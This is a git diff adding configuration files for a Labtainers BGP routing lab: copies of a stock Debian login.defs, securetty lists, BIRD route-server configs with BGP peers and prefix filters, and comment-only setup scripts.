+# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..3ce460a83 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/usr/local/etc/bird.conf @@ -0,0 +1,85 @@ +/* + * Route server configuration for 20525 + */ + +log "/var/log/bird.log" all; + +define myas = 20525; + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +# This function excludes weird networks +# rfc1918, class D, class E, too long and too short prefixes +function avoid_martians() +prefix set martians; +{ + martians = [ 169.254.0.0/16+, 172.16.0.0/12+, 192.168.0.0/16+, 10.0.0.0/8+, + 224.0.0.0/4+, 240.0.0.0/4+, 0.0.0.0/32-, 0.0.0.0/0{25,32}, 0.0.0.0/0{0,7} ]; + + # Avoid RFC1918 and similar networks + if net ~ martians then return false; + + return true; +} +protocol static STATIC4 { + ipv4 { preference 110; }; + route 202.25.0.0/24 via "eth0"; + route 202.26.0.0/24 via "eth1"; +} + + +#### +# Protocol template + +template bgp PEERS { + local as myas; + ipv4{ + import filter{ + if ! (avoid_martians()) then reject; + accept; + }; + export filter{ + accept; + }; + }; +} + + +#### +# Configuration of BGP peer follows + + +protocol bgp R20515 from PEERS { + description "Member 1 - peer 1"; + neighbor 10.1.0.1 as 20515; +} + +protocol bgp R20535 from PEERS { + description "Member 2 - peer 1"; + neighbor 10.3.0.3 as 20535; +} + +protocol bgp R20545 from PEERS { + description "Member 3 - peer 1"; + neighbor 10.4.0.4 as 20545; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..3697db0e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r3/_system/usr/local/etc/bird.conf @@ -0,0 +1,84 @@ +/* + * Route server configuration for 20535 + */ + +log "/var/log/bird.log" all; + +define myas = 20535; + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +# This function excludes weird networks +# rfc1918, class D, class E, too long and too short prefixes +function avoid_martians() +prefix set martians; +{ + martians = [ 169.254.0.0/16+, 172.16.0.0/12+, 192.168.0.0/16+, 10.0.0.0/8+, + 224.0.0.0/4+, 240.0.0.0/4+, 0.0.0.0/32-, 0.0.0.0/0{25,32}, 0.0.0.0/0{0,7} ]; + + # Avoid RFC1918 and similar networks + if net ~ martians then return false; + + return true; +} +protocol static STATIC4 { + ipv4 { preference 110; }; + route 202.35.0.0/24 via "eth0"; +} + + +#### +# Protocol template + +template bgp PEERS { + local as myas; + ipv4{ + import filter{ + if ! (avoid_martians()) then reject; + accept; + }; + export filter{ + accept; + }; + }; +} + + +#### +# Configuration of BGP peer follows + + +protocol bgp R20515 from PEERS { + description "Member 1 - peer 1"; + neighbor 10.2.0.1 as 20515; +} + +protocol bgp R20525 from PEERS { + description "Member 2 - peer 1"; + neighbor 10.3.0.WAN3_R2 as 20525; +} +protocol bgp R20545 from PEERS { + description "Member 3 - peer 1"; + neighbor 10.5.0.4 as 20545; +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or 